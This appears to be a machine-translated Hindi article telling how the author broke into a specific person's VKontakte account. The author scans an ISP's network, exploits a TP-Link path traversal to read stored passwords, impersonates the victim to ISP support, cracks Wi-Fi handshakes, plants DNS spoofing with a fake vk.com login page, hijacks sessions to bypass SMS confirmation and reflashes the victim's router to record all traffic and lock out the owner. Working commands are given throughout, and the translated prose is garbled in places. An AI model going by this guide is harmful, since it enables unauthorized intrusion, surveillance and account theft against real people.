🕛 ✍🏼 🤸🏿 टीपी-लिंक राउटर में क्या कमजोरियां हो सकती हैं 😼 ✏️ 💃🏼

दरअसल, यह लेख टीपी-लिंक राउटर में न केवल कमजोरियों पर चर्चा करेगा, बल्कि यह भी कि इस तरह के राउटर से हैक स्टेशन बनाने के लिए और इसके साथ क्या हासिल किया जा सकता है। और यह भी थोड़ा सा कि यह कैसे VKontakte पृष्ठ तक पहुंच प्राप्त करने के लिए लागू किया गया था। यह एक बड़ी हैक की कहानी है, जिसमें उपरोक्त सभी शामिल हैं।

मुझे एक व्यक्ति के वीके पृष्ठ तक पहुंचने में एक बार लगा, जबकि उपयोगकर्ता के लिए जितना संभव हो सके, और मैं तरीके खोजने लगा। मेरे लिए पहली बात यह थी कि पीड़ित को ट्रोजन को छोड़ना था, क्योंकि मैंने अपने आईपी + छिपे हुए वीएलसी प्लेयर के लिए बैककनेक्ट के साथ एक छिपे हुए टीटीवीवीएन को पहले ही तैयार कर लिया था, जो वास्तविक समय में माइक्रोफ़ोन से ध्वनि को मेरे आईपी पर प्रसारित करता है। हालाँकि, यह VirusTotal पर मैलवेयर के रूप में बिल्कुल भी परिभाषित नहीं था। लेकिन लेख उस बारे में बिल्कुल नहीं है। नतीजतन, मैं ट्रोजन प्राप्त करने में कामयाब रहा, साथ ही वीके (पीड़ित के ब्राउज़र से कुकीज़ की नकल करके) तक पहुंच प्राप्त की, लेकिन जल्द ही ओएस को उपयोगकर्ता के कंप्यूटर पर फिर से इंस्टॉल किया गया, और मुझे दूसरा रास्ता तलाशना पड़ा।

केवल एक चीज मुझे पता थी कि पीड़ित किस प्रदाता के पास था। खैर, मैंने शहर एन के इस कुख्यात प्रदाता की पूरी श्रृंखला को स्कैन करके शुरू किया (स्पष्ट कारणों से, मैंने प्रदाता को फोन नहीं किया), और मुझे एक अद्भुत बात पता चली: पोर्ट 8080 अधिकांश मेजबानों पर खुला है। यह तुरंत स्पष्ट हो गया कि यह एक वेब इंटरफ़ेस है। रूटर। मैं पहले से ही डिफ़ॉल्ट व्यवस्थापक व्यवस्थापक के लिए आशा करता था (तब यह प्रदाता के लिए पूर्ण पतन होगा), लेकिन नहीं, मुझे पासवर्ड नहीं मिला, हालांकि मुझे अभी भी एक दर्जन राउटरों के बारे में मिला जहां डिफ़ॉल्ट पासवर्ड था। यह पता चला कि सभी राउटरों में से 90% टीपी-लिंक टीएल-डब्ल्यूआर 741 एनडी और कम अक्सर 740N, 841N, 941ND हैं।

यहां सब कुछ बहुत स्पष्ट है: प्रदाता उपयोगकर्ताओं को एक ही राउटर किराए पर देता है, उन्हें स्थापना के दौरान कॉन्फ़िगर करता है, और यह उपयोगकर्ताओं को इन सेटिंग्स को बदलने के लिए बहुत आलसी है। यह अधिक से अधिक दिलचस्प हो गया। निश्चित रूप से इस मामले में सेटिंग में कुछ पैटर्न होना चाहिए, अर्थात, पासवर्ड संभवतः समान हैं। मैंने तय किया कि अगर इन मॉडलों में कोई भेद्यता थी और उस समय मेरे आश्चर्य के लिए, मैंने उनमें से बहुत कुछ पाया। पहली चीज़ जिसने मेरी नज़र को पकड़ा वह था "टीपी-लिंक राउटर्स में बैकडोर" ।

मैंने तुरंत इस भेद्यता की जांच करने का निर्णय लिया। राउटर पर फाइलें अपलोड की गईं, लेकिन उसने उन्हें स्वीकार नहीं किया और फिर मैं सोचने लगा कि यह nart.out क्या है। यह एक एमआइपी बाइनरी है, जो कि संक्षेप में कोई भी एप्लिकेशन हो सकता है, आपको बस इसे बनाने की आवश्यकता है। शुरू करने के लिए, मैंने एक तैयार संस्करण की तलाश शुरू कर दी, क्योंकि पहले, मुझे लगभग कभी भी क्रॉस-संकलन से निपटना नहीं पड़ा। मेरे आश्चर्य के लिए, बस उसी क्षण एक अन्य व्यक्ति इस मुद्दे में दिलचस्पी ले रहा था: Specx2 (मैं सुझाव देता हूं, वैसे, उनके लेख को पढ़ने के लिएएक राउटर से एक हैक स्टेशन को कैसे इकट्ठा किया जाए, जो कि वास्तव में, मैंने अंत में, केवल दूरस्थ रूप से किया था)। वह एक मंच पर MIPS के तहत संकलित netcat को खोजने में कामयाब रहे, वैसे, उस खंड में जहां इस भेद्यता पर चर्चा की गई थी। इस बाइनरी को QEMU के तहत सफलतापूर्वक लॉन्च किया गया था, सफलतापूर्वक पाए गए पिछले दरवाजे के माध्यम से राउटर में डाला गया, लेकिन, किसी कारण से, राउटर से कनेक्ट करना संभव नहीं था: यह सिर्फ एक कनेक्शन नहीं था। कॉमरेड Specx2 ने सुझाव दिया कि बिंदु 2222 पोर्ट केवल बंद हो सकता है, और आपको किसी अन्य पोर्ट पर नेटकाट चलाने की आवश्यकता है।

हमने खुद MIPS के लिए नेटकैट संकलित करने की कोशिश की, लेकिन डिफ़ॉल्ट पोर्ट विकल्प सेट करने में विफल रहे। अगला, हमने एक डिस्सेम्बलर का उपयोग किया, लेकिन असफल रूप से। और फिर मैंने इस बाइनरी को सामान्य नोटपैड ++ के साथ खोलने का फैसला किया, और मेरे आश्चर्य की बात है, मुझे वहां 2222 का कॉव मिला। इस संख्या को आसानी से किसी अन्य में बदला जा सकता है, मुख्य बात यह है कि फ़ाइल में वर्णों की संख्या नहीं बदलती है। पोर्ट वास्तव में बदल गया, सब कुछ QEMU पर परीक्षण किया गया था, लेकिन हम अभी भी राउटर पर काम करने के लिए इसे प्राप्त नहीं कर सके।

मैंने राउटर का नियंत्रण हासिल करने के अपने प्रयासों को नहीं छोड़ा और अन्य कमजोरियों की तलाश शुरू कर दी। जल्द ही मैं इस पद पर आ गया । और वास्तव में: 841 और 941 मॉडल पर एक शेल था

/userRpmNatDebugRpm26525557/linux_cmdline.html

यहां केवल राउटर से पासवर्ड अभी भी ज्ञात करने की आवश्यकता है, और इस प्रदाता के उपयोगकर्ताओं के पास मूल रूप से 741 मॉडल थे। मैं एक डिफ़ॉल्ट पासवर्ड और इस शेल के साथ एक राउटर खोजने में कामयाब रहा, भले ही बहुत कम हो। इस प्रकार, मुझे राउटर की फाइल सिस्टम तक पहुंच प्राप्त हुई। दुर्भाग्य से, मुझे कुछ भी मूल्य नहीं मिला, और शेल सही तरीके से काम नहीं कर पाया। क्या डेवलपर वास्तव में इसके माध्यम से डिबगिंग कर रहे हैं?

यह एक मृत अंत की तरह लग रहा था, लंबे समय तक मेरे पास एक भी सुराग नहीं था, लेकिन कुछ ने मुझे बताया कि अभी भी कमजोरियां थीं। और फिर मुझे पता चला कि रूटर जीईटी अनुरोधों को फ़िल्टर नहीं करता है। यही है, डिफ़ॉल्ट रूप से, जब पासवर्ड गलत दर्ज किया जाता है, तो / सहायता पृष्ठ खुलता है, लेकिन यदि, उदाहरण के लिए, हम यह अनुरोध करते हैं:

GET IP:port/help/../../

फिर हम राउटर के फाइल सिस्टम के रूट पर पहुंच जाएंगे। इस प्रकार, हम पासवर्ड को जाने बिना भी एफएस राउटर से लगभग किसी भी फाइल को डाउनलोड कर सकते हैं। यह मेरे द्वारा पाया गया सभी का पहला सफलतापूर्वक कार्यशील भेद्यता निकला। लेकिन यह हमें क्या देता है अगर हम केवल फाइलें डाउनलोड कर सकते हैं और यह नहीं जानते हैं कि पासवर्ड कहाँ संग्रहीत है?

एक छोटी खोज के बाद, मैं अभी भी /tmp/ath0.ap_bss पर एक दिलचस्प फ़ाइल खोजने में कामयाब रहा, जो स्पष्ट रूप में वाई-फाई के लिए पासवर्ड संग्रहीत करता है। मैंने तुरंत इस प्रदाता के उपयोगकर्ताओं के रूटर्स में से एक पर इसकी जांच करने का निर्णय लिया।

GET IP:8080/help/../../tmp/ath0.ap_bss

जैसा कि यह पता चला है, लोग काफी आलसी काम करते हैं, और उसी पासवर्ड को राउटर और वाई-फाई के वेब इंटरफेस पर डालते हैं, इसलिए जब हम इस भेद्यता का उपयोग करके वाई-फाई पासवर्ड सीखते हैं, तो हम स्वचालित रूप से वेब इंटरफ़ेस से पासवर्ड को पहचान लेंगे। यह आमतौर पर 8 अंक का होता है। कम सामान्यतः, अक्षरों के साथ संख्या। फिर से, 8. अब से, मैं लगभग किसी भी उपयोगकर्ता के राउटर तक पहुंच सकता हूं, जो प्रदाता द्वारा निर्धारित पासवर्ड को नहीं बदलता है, और व्यावहारिक रूप से किसी ने भी इसे नहीं बदला है। सच है, कुछ राउटरों में अभी भी नवीनतम फर्मवेयर संस्करण था, और यह भेद्यता काम नहीं करती थी, लेकिन उनमें से बहुत सारे नहीं थे। तुरंत मुझे एक और दिलचस्प बात पता चली। सभी बिंदुओं के SSID में उपयोगकर्ता के आंतरिक IP पते का दूसरा भाग होता है, और सभी के लिए पहला समान था। यह साइट पर व्यक्तिगत खाते की तरह ही निकला, पासवर्ड समान था।और आंतरिक आईपी की यह दूसरी छमाही अनुबंध संख्या थी। यही है, उपयोगकर्ता समझौते की संख्या से, आंतरिक आईपी की गणना करना संभव था।

इस तथ्य के बावजूद कि सभी उपयोगकर्ताओं के पास एक वास्तविक बाहरी आईपी था (एक गतिशील एक के बावजूद), मैंने एएसयूएस के कई राउटर पर वीपीएन सर्वर को बढ़ाने का फैसला किया, जहां एक डिफ़ॉल्ट पासवर्ड था। सौभाग्य से, इस सुविधा को डिफ़ॉल्ट फर्मवेयर में सीवन किया गया था। इस प्रकार, मुझे प्रदाता के आंतरिक नेटवर्क तक पहुंच प्राप्त हुई।

लेकिन हैक करने से पहले वीके अभी भी दूर था। मुझे आईपी पीड़ित भी नहीं जानता था। न तो बाहरी और न ही आंतरिक। बाहरी आईपी का पता लगाने के कई तरीके हैं, और मैंने इसे किया। खैर, चलिए पढ़ाई शुरू करते हैं। सबसे पहले, उन्होंने पिंग अनुरोधों का जवाब दिया, जो पहले से ही अच्छा है। दूसरे, मुझे पता था कि पीड़ित के पास एक राउटर भी था (इसे टीटीएल द्वारा भी समझा जा सकता है, क्योंकि अधिकांश उपयोगकर्ताओं के पास विंडोज स्थापित है, और विंडोज का डिफ़ॉल्ट टीटीएल 128 है), उसी मॉडल के साथ। लेकिन, मेरे गहरे अफसोस के लिए, पीड़ित के सभी बंदरगाह बंद हो गए, और बाहर से वेबमॉर्ड तक कोई पहुंच नहीं थी। लेकिन मुझे पता था कि किसी भी मामले में यह लैन के माध्यम से है, लेकिन इसके लिए हमें वायरलेस इंटरफ़ेस के माध्यम से इस राउटर से कनेक्ट करना होगा, साथ ही साथ व्यवस्थापक पैनल के लिए पासवर्ड भी चुनना होगा, जो बहुत समस्याग्रस्त होगा, क्योंकि मुझे उस समय नहीं मिला था यह कहाँ संग्रहीत है। हालाँकि अब मुझे पहले से ही पता हैइसमें क्या संग्रहीत है/ dev / mtdblock3 , लेकिन यह ब्लॉक माउंट नहीं है, इसलिए इसे वर्णित भेद्यता के माध्यम से पढ़ना असंभव है।

मैंने यह भी सीखा कि इंटरनेट तक पहुंचने के लिए वीपीएन कनेक्शन से लॉगिन उपयोगकर्ता या उसके हिस्से का प्रारंभिक नाम और उपनाम है, और पासवर्ड समान है। मैं सोचने लगा, जिस उपयोगकर्ता की मुझे आवश्यकता है वह कैसे मिल सकता है? हो सकता है कि मैंने उस समय भी आईपी को परिभाषित करने की गलती की हो, और जब मैंने वेबमॉर्ड से कनेक्ट करने का प्रयास किया, तो यह पहले से ही बदल गया था? पहली बात जो दिमाग में आई, वह सभी राउटरों की एक सरल गणना थी। लेकिन प्रदाता में ग्राहकों की संख्या काफी बड़ी है। पूरी रेंज को स्कैन करने के बाद, मुझे वेब इंटरफ़ेस के रिमोट एक्सेस के साथ लगभग 3,000 राउटर मिले। और किसी भी तरह से सही उनमें से किसी एक को खोजने के लिए आवश्यक था, यदि कोई हो।

सबसे पहले, मैंने एक स्क्रिप्ट लिखने की कोशिश की जो पाए गए भेद्यता का उपयोग करके पासवर्ड को पहचान लेगी, और फिर मैं नेटवर्क सेटअप पेज डाउनलोड करूंगा और इसे सहेजूंगा। लेकिन मैं इसमें कमजोर हूँ, और, कुछ समय बाद इस विचार को त्यागने के बाद, मैंने एक नियमित क्लिकर का उपयोग करने का निर्णय लिया। आधे में दु: ख के साथ, मैंने (या बल्कि, क्लिकर ने) पूरी श्रृंखला को संसाधित किया। अगला, मैंने सेटिंग्स फ़ाइलों (वीपीएन कनेक्शन से लॉगिन में अंतिम नाम से पीड़ित को खोजने की उम्मीद) की खोज की, लेकिन मुझे कुछ भी नहीं मिला जिसकी मुझे ज़रूरत थी।

मैंने आगे खुदाई करना शुरू किया और पाया कि कोई भी हैक किया गया राउटर वेब-आधारित इंटरफ़ेस के माध्यम से इसके आसपास के पहुंच बिंदुओं को स्कैन कर सकता है। इस प्रकार, मेरे पास एक पागल विचार था: इस भेद्यता के साथ पीड़ित के पड़ोसी को क्रैक करने के लिए, ताकि उसके राउटर के साथ मैं पीड़ित के वाई-फाई पासवर्ड को क्रैक करने का प्रयास कर सकूं और लैन के माध्यम से वेब-इंटरफ़ेस में प्रवेश कर सकूं, जब तक कि मैं पूरे विश्वास के साथ एक हजार किलोमीटर की यात्रा न कर लूं सफलता अनुचित थी, और कोई संभावना नहीं थी। लेकिन लागू करने के लिए उस समय जो कल्पना की गई थी वह अकल्पनीय थी। पड़ोसी कैसे खोजें?

याद रखें कि आंतरिक IP का दूसरा भाग SSID में निहित है। यह अनुबंध संख्या के साथ मेल खाता है। उपयोगकर्ता की पहुंच बिंदु के SSID को जानना अच्छा होगा ताकि आप इसे पा सकें। मैंने क्या किया? हां, मैंने इसे लिया और प्रदाता के तकनीकी समर्थन को लिखा, खुद को एक उपयोगकर्ता के रूप में पेश किया, माना जाता है कि मैं इंटरनेट के लिए भुगतान करना चाहता हूं, लेकिन मैं अनुबंध संख्या भूल गया। और मुझे तुरंत एक उत्तर मिला, क्योंकि मुझे नाम और पता पता था। इस प्रकार, मैंने पीड़ित के आंतरिक आईपी को पहचान लिया, जो कि स्थिर है (इसलिए गतिशील बाहरी की लगातार गणना करने का कोई मतलब नहीं है, क्योंकि हैक किए गए राउटर में से एक पर वीपीएन के माध्यम से आंतरिक नेटवर्क तक पहुंच है)। मुझे इस उपयोगकर्ता का अनुमानित SSID भी मिला, इसलिए मेरे पास पहले से ही कुछ काम था।

कार्य एक पंक्ति में सभी राउटर में जाना था और उनमें से एक जिले में प्रतिष्ठित एसएसआईडी के साथ एक राउटर खोजने के लिए था। कार्य फिर से एक आसान नहीं था, लेकिन याद रखें कि हमारे पास आपके व्यक्तिगत खाते तक पहुंच है, जहां उपयोगकर्ता के निवास का पता इंगित किया गया है। कई प्रयोगों का संचालन करने के बाद, मैंने महसूस किया कि आंतरिक आईपी और उपयोगकर्ता पते के बीच एक निश्चित पैटर्न है। यही है, यह आवश्यक नहीं है कि पड़ोसी एक ही सबनेट पर होंगे, लेकिन कम से कम पड़ोसी वाले में, उदाहरण के लिए: 10.168.155.0 और 10.168.158.0। इसलिए, वैज्ञानिक प्रहार की विधि से पीड़ित के पास रहने वाले उपयोगकर्ता को खोजते हुए, मैंने पड़ोसी उप-क्षेत्रों में सभी राउटरों के माध्यम से छंटनी शुरू कर दी। नतीजतन, मुझे प्रतिष्ठित एसएसआईडी नहीं मिला, लेकिन मैंने अपने खाते में उनका पता देखने के बाद 2 पड़ोसी पाए। मेरा सिर फट गया: यह कैसे हो सकता है, मुझे पड़ोसी मिल गए, लेकिन मेरे पास सही पहुंच बिंदु नहीं है। फिर भी वह एक बदली हुई SSID के साथ थी,और मैंने अनुमान लगाया कि कौन सा है। यह आसान हो गया।

ठीक! राउटर पाया गया था, अपने पड़ोसियों की तरह, खर्च किया, हालांकि, इस पर बहुत समय। आगे क्या? हमें वायरलेस नेटवर्क से किसी तरह पासवर्ड प्राप्त करने की आवश्यकता है, लेकिन इसके लिए हमें या तो हैंडशेक को इंटरसेप्ट करना होगा और उससे पासवर्ड चुनना होगा (प्रोटेक्शन डब्ल्यूपीए 2-पीएसके), या डब्ल्यूपीएस पिन चुनें, क्योंकि डब्ल्यूपीएस डिफ़ॉल्ट रूप से सक्षम है, लेकिन अधिकांश राउटर पर 10 अवैध प्रयासों के बाद अवरुद्ध। हम इसमें से कम से कम कुछ को कैसे लागू कर सकते हैं? दरअसल, पड़ोसियों के राउटर पर कोई विशेष सॉफ्टवेयर नहीं है। और फिर यह विचार उनके OpenWRT राउटर को फिर से शुरू करने के लिए आया था, क्योंकि यह फर्मवेयर वास्तविक लिनक्स के सबसे करीब है, और इसके लिए एयरक्रैक-एनजी, रिएवर और कई अन्य पैकेज भी हैं। कॉमरेड Specx2यहां तक कि बुली इसके नीचे एकत्र हुए। केवल एक ही समस्या थी: राउटर को दूर से कैसे रिफ़्लेक्ट करें और इसे एक्सेस न करें? सब के बाद, फ्लैश करने के बाद, सभी सेटिंग्स डिफ़ॉल्ट रूप से रीसेट हो जाती हैं।

मुझे इस मुद्दे के साथ लंबे समय तक सताया गया था, मैंने सोचा कि स्रोत से खरोंच से सभी फर्मवेयर को इकट्ठा करना आवश्यक था और किसी तरह वहां सेटिंग्स को पूर्व-ड्राइव करें, लेकिन सब कुछ बहुत सरल हो गया। मुझे OpenWRT इमेज बिल्डर के अस्तित्व के बारे में भी नहीं पता था। मुझे यह बहुत जल्दी पता चल गया, लेकिन मुझे पैकेज का सही सेट चुनना था, क्योंकि फर्मवेयर की मात्रा 4 एमबी से अधिक नहीं हो सकती है, और यह छोटा है, इस तथ्य को देखते हुए कि निर्भरता की एक बड़ी सूची के साथ कई खींचें। अगली समस्या यह थी कि प्रदाता के सर्वर के साथ वीपीएन कनेक्शन स्थापित करने के बाद ही उपयोगकर्ता को इंटरनेट की सुविधा मिलती थी, लेकिन तब सारा ट्रैफिक सुरंग में चला जाता था, और मैंने राउटर से संपर्क खो दिया था। तो, क्या मेरा पड़ोसी मुझे माफ कर सकता है, मैंने उसे बिना इंटरनेट के छोड़ दिया। अपने राउटर को सफलतापूर्वक फ्लैश करने के बाद (असफल प्रयोगों के दौरान इंटरनेट के बिना दर्जनों उपयोगकर्ताओं के एक जोड़े को छोड़ने के बाद), मैंने तुरंत राउटर के नेटवर्क कार्ड को मोड की निगरानी के लिए स्थानांतरित कर दिया

ifconfig wlan0 down
iw reg set BO
iwconfig wlan0 txpower 27
airmon-ng start wlan0

और एरोडम्प-एनजी लॉन्च किया ।

airodump-ng mon0 –c _ –bssid MAC__ –w /tmp/123

हैंडशेक को इंटरसेप्ट करना मुश्किल नहीं था। मैंने तुरंत एससीपी का उपयोग करके राउटर से डंप डाउनलोड किया

scp –P port user@host:/tmp/123-01.cap ~/123.cap

विंडसरक में अनावश्यक पैकेट से इसे फ़िल्टर किया:

wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x04 || eapol

और हैशटैक के लिए .hccap प्रारूप में परिवर्तित कर दिया । मैंने पहले से एक छोटा शब्दकोश तैयार किया, जिसने मुझे कई वायरलेस नेटवर्क को क्रैक करने में मदद की, और मैंने इस उपयोगकर्ता द्वारा उपयोग किए जा सकने वाले सभी संभावित पासवर्ड भी जोड़े।

oclHashcat64.exe –m2500 –a0 123.hccap wordlist.txt

सौभाग्य से, कुछ सेकंड के बाद पासवर्ड मिल गया था! लेकिन आपको अभी भी क्लाइंट मोड में राउटर से कनेक्ट करना होगा! इसके बाद ही पड़ोसी के राउटर के लिए WAN फिर से बदल जाएगा, और मैं इसे तक पहुंच खो दूंगा। मैं अभी भी यह पता नहीं लगा सका कि इस समस्या को कैसे हल किया जाए, इसलिए मुझे एक व्यक्ति को एक यज्ञ करने, फोन से लॉग इन करने और रिमोट एक्सेस खोलने के लिए कहना पड़ा (अब मैं मान सकता हूं कि आपको पहले से फर्मवेयर में स्थैतिक मार्गों को जोड़ना था)। सौभाग्य से, वेब-इंटरफ़ेस से पासवर्ड डिफ़ॉल्ट व्यवस्थापक के रूप में निकला।

सब कुछ अच्छी तरह से हो गया! मैंने आगे की कार्ययोजना तैयार कर ली है। फ़िल्टर किए बिना मेरे असली आईपी पर, मैंने DNS सर्वर को उठाया, जहां मैंने vk.com के लिए प्रविष्टि बदल दी और इसे अपने आईपी में बदल दिया, जहां PHP के साथ HTTP सर्वर भी उठाया गया था। वहां, तदनुसार, vk.com प्राधिकरण पृष्ठ के साथ नकली भरा गया था, और राउटर में डीएनएस सर्वर को बदल दिया गया था। एक उपयोगकर्ता, vk.com पर लॉग इन कर रहा है, मेरे नकली पर गया, और इस प्रकार पासवर्ड मेरा था, लक्ष्य प्राप्त हो गया!

एक लंबे समय के लिए मैंने पासवर्ड प्राप्त करने के लिए इस पद्धति का उपयोग किया था, लेकिन एक बार vk.com पर vaunted लॉगिन पुष्टि चालू हो गई थी, जो स्वयं रचनाकारों के अनुसार, लगभग मिलना असंभव है। लब्बोलुआब यह है कि एक नए डिवाइस / ब्राउज़र से अधिकृत करते समय, यदि आप सही पासवर्ड दर्ज करते हैं, तो आपको एसएमएस से कोड भी दर्ज करना होगा, जो कि मालिक के नंबर पर भेजा जाता है। लेकिन इस मामले के लिए, मुझे लंबे समय से एक सिद्धांत तैयार किया गया है जिसे अभी तक परीक्षण नहीं किया गया है।

सबसे पहले, मैंने यह समझने की कोशिश की कि सर्वर कैसे निर्धारित करता है कि इनपुट एक नए डिवाइस से है। सब कुछ काफी सरल निकला: ब्राउज़र में एक नया कुकी जोड़ा जाता है (यदि मेरी मेमोरी मेरी सेवा करती है, तो इसे रीमिक्सपटिड कहा जाता है), जो केवल एक एन्क्रिप्टेड कनेक्शन के माध्यम से प्रेषित होता है। और इसके द्वारा, सर्वर पहले से ही उस ब्राउज़र को निर्धारित करता है जिसमें से लॉगिन की अनुमति है। अगर मैं गलत नहीं हूँ, तो User-Agent को भी मेल खाना चाहिए। इस प्रकार, हमारे लिए इस कुकी को एक ज्ञात पासवर्ड के साथ सफलतापूर्वक लॉग इन करने के लिए इंटरसेप्ट करना पर्याप्त है, लेकिन ऐसा करना काफी कठिन है: हमें उपयोगकर्ता के ट्रैफ़िक को मित्प्रॉक्सी के माध्यम से पास करना होगा, ताकि यह उस समय भी लॉग हो जाए। इसके अलावा, उपयोगकर्ता एक प्रमाणपत्र बेमेल के बारे में चेतावनी देने वाले ब्राउज़र को नोटिस करेगा। इतना विकृत क्यों हुआ, मैंने सोचायदि आप किसी मौजूदा सत्र को रोक सकते हैं? आखिरकार, ब्राउज़र की जाँच केवल लॉगिन के समय ही की जाती है, लेकिन मौजूदा सत्र के किसी भी अनुरोध के लिए नहीं की जाती है! इसलिए, हमें सिर्फ इंटरसेप्ट करने की जरूरत हैरीमिक्सड , जो, इसके अलावा, एक असुरक्षित कनेक्शन के माध्यम से प्रेषित होता है, क्योंकि उपयोगकर्ता https का उपयोग नहीं करता है।

समस्या केवल उस रीमिक्सिड की थीयह उपयोगकर्ता के आईपी से मेल खाता है, और यदि यह बदलता है, तो login.vk.com के लिए कुकीज़ का भी उपयोग किया जाता है, जो केवल एन्क्रिप्ट किए गए कनेक्शन के माध्यम से प्रेषित होते हैं, और उन्हें बाधित करना अधिक कठिन होता है। लेकिन मैं भाग्यशाली रहा। उस समय तक, प्रदाता ने वीपीएन कनेक्शन स्थापित करने की आवश्यकता के बिना इंटरनेट तक पहुंच प्रदान करना शुरू कर दिया, जिसका अर्थ है कि मैं सिर्फ अपना पीपीटीपी सर्वर बढ़ा सकता हूं और उपयोगकर्ता के राउटर की सेटिंग में इसे स्थापित कर सकता हूं। तो मैंने किया, सभी ट्रैफ़िक मेरे माध्यम से चले गए, और उपयोगकर्ता ने इसे जाने बिना, अपने आईपी से जुड़ा एक सत्र बनाया, जिसे बिना किसी समस्या के बाधित किया गया था। अगला, मैंने पिछली सेटिंग्स को लौटाया और इंटरसेप्टेड सत्र का उपयोग किया (आईपी का लाभ स्थिर है)। एसएमएस सुरक्षा सफलतापूर्वक टूट गया!

सबकुछ ठीक हो जाएगा, लेकिन मैं वहां नहीं रुका। तथ्य यह है कि अगर उपयोगकर्ता अचानक समझ जाता है कि मामला क्या है, तो वह बस राउटर की सेटिंग्स और वाई-फाई से पासवर्ड बदल सकता है। इसे रोकने के लिए, मैंने एक यूजर राउटर के तहत OpenWRT का निर्माण शुरू किया। हर चीज का पूर्वाभास करना जरूरी था। पीड़ित ट्रैफ़िक की सुविधाजनक निगरानी के लिए, मैंने कर्लफ़ेटफ़ेट्स का उपयोग करते हुए एफ़टीपी सर्वर को एक फ़ाइल सिस्टम के रूप में माउंट किया। वहां डंप लिखा जाता है। यह पूरी प्रक्रिया इस लेख में वर्णित है । प्रारंभ में, मैंने क्लाउड को एक फ़ाइल सिस्टम के रूप में माउंट करने की योजना बनाई, जिसके लिए मैंने davfs2 का उपयोग किया , जो कि OpenWRT के तहत निर्माण करना आसान नहीं था, लेकिन समस्या यह थी कि फ़ाइल को पहले कैश में लिखा गया था, और उसके बाद ही क्लाउड में डाला गया था। नतीजतन, फ़ाइल का आकार कैश के आकार से सीमित था, जो कि बहुत छोटा है। इसलिए मैंने कर्लफेट चुना। ट्रैफ़िक को tcpdump का उपयोग करके रिकॉर्ड किया गया था और उसे 512MB फ़ाइलों में विभाजित किया गया था।

tcpdump -i br-lan -w /root/ftp/dump/`date +"%d_%m_%Y_%T_"` -C 512Mb &

जहां / रूट / ftp / डंप हमारी ftp फाइल सिस्टम है। यह सब व्यवसाय ऑटोस्टार्ट (/etc/rc.local) में डाला जा सकता है।
सामान्य तौर पर, OpenWRT एटीट्यूड एडजस्टमेंट एडजस्टमेंट 12.09 फर्मवेयर के लिए पैकेज का अंतिम सेट इस तरह से देखा गया:

make image PROFILE=TLWR740 PACKAGES="curlftpfs tcpdump tinyproxy wireless-tools -ppp -ppp-mod-pppoe" FILES=files/

कर्लफैफ्ट्स अधिकांश मेमोरी को उठाता है, लेकिन हमें प्रति फीट इसकी असीमित मात्रा देता है। Tcpdump आपको घड़ी के चारों ओर पीड़ित के ट्रैफ़िक को रिकॉर्ड करने की अनुमति देता है, और tinyproxy आपको पीड़ित के आईपी से इंटरनेट का उपयोग करने की अनुमति देता है, अर्थात्, रीमिक्सड को इंटरसेप्ट करके, उदाहरण के लिए, हम टिनिप्रोक्सी का उपयोग करके अपने आईपी से उपयोगकर्ता के वीके में प्रवेश कर सकते हैं, या हम बस उसके ट्रैफ़िक को उसके ट्रैफ़िक में रीडायरेक्ट कर सकते हैं। इस तरह छंद:

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to ip:port

सामान्य तौर पर, हम यातायात को पूरी तरह से नियंत्रित कर सकते हैं। तुम भी, एक घुड़सवार एफ़टीपी फाइल सिस्टम पर पैकेज इंस्टॉल करने के लिए इस हम उपयोग कर सकते हैं -dest opkg , में हमारे फाइल सिस्टम के लिए नाम और पता निर्दिष्ट करने के बाद /etc/opkg.conf । बाकी कॉन्फ़िगरेशन को उपयुक्त फ़ाइलों में पूर्व-पंजीकृत होना चाहिए।

/etc/firewall.user
/etc/config/firewall
/etc/config/network
/etc/config/system
/etc/config/wireless
/etc/rc.local
 .

फर्मवेयर में उन्हें एम्बेड करने के लिए इन सभी फ़ाइलों को अग्रिम में तैयार किया जाना चाहिए। दरअसल, यह हमें अतिरिक्त सुविधाओं के अलावा क्या देता है? लेकिन तथ्य यह है कि स्क्वैश फाइल सिस्टम केवल-पढ़ने के लिए है। तदनुसार, उपयोगकर्ता किसी भी तरह से निर्धारित डिफ़ॉल्ट सेटिंग्स को बदलने में सक्षम नहीं होगा। अपनी सभी इच्छा के साथ, टेलनेट के माध्यम से भी, वह कनेक्ट नहीं कर पाएगा, क्योंकि आरलोकल में , जिसे फर्मवेयर में सीवन किया गया है, एक रेखा है

echo –e “pass\npass” | passwd root

यही है, राउटर लोड होने के तुरंत बाद टेलनेट के माध्यम से पहुंच काट दी जाती है, और केवल मेरे पास एसएसएच पासवर्ड है। भौतिक बटन के साथ डिफ़ॉल्ट में रीसेट करना यहां भी विफल हो जाएगा, क्योंकि डिफ़ॉल्ट मेरे द्वारा सेट किया गया है और फर्मवेयर में सीवन किया गया है। लक्ष्य प्राप्त होता है।

हाल के दिनों में सभी उपयोगकर्ताओं को IPoE में स्थानांतरित करने और वीपीएन को छोड़ने के संबंध में, वे सभी NAT के पीछे थे, जिनमें राउटर भी शामिल थे, जिन पर मुझे प्रदाता के आंतरिक नेटवर्क तक पहुंच के लिए वीपीएन था। उन लोगों के अलावा, जिन्होंने निश्चित रूप से "स्टेटिक आईपी" सेवा को सक्रिय किया है। लेकिन एक समस्या है: जो लोग एक वास्तविक आईपी चाहते हैं, उन्हें अभी भी इंटरनेट का उपयोग करने के लिए वीपीएन का उपयोग करना चाहिए। मुझे खुद को पीड़ा देनी थी और एक वायर्ड और कॉन्फ़िगर किए गए PPTP क्लाइंट के साथ OpenWRT का निर्माण करना था (और यह किसी कारण से वास्तव में टेढ़ा काम करता है), साथ ही एक वायर्ड और कॉन्फ़िगर किया गया ओपनवीपीएन सर्वर। प्रयोगों के दौरान बहुत सारे राउटर्स की मृत्यु हो गई, लेकिन परिणाम अंततः प्राप्त हुआ। इस तरह के फर्मवेयर को कई राउटरों में डाला जाता है (कुछ वास्तविक आईपी के साथ शेष), मेरे पास ओपनवीपीएन का उपयोग करके आंतरिक नेटवर्क तक स्थिर पहुंच है।

PPTP VPN कनेक्ट करने में समस्या यह थी कि प्रदाता के सर्वर एन्क्रिप्शन का समर्थन नहीं करते हैं। यह /etc/ppp/options.pptp पर एक पंक्ति जोड़कर तय किया गया था ।

nomppe

अन्यथा, PPTP VPN क्लाइंट और OpenVPN सर्वर को स्थापित करने की प्रक्रिया OpenWRT मैनुअल से अलग नहीं थी।

मुझे उम्मीद है कि यह लेख किसी के लिए दिलचस्प होगा, और कोई इससे कुछ नया सीखेगा।

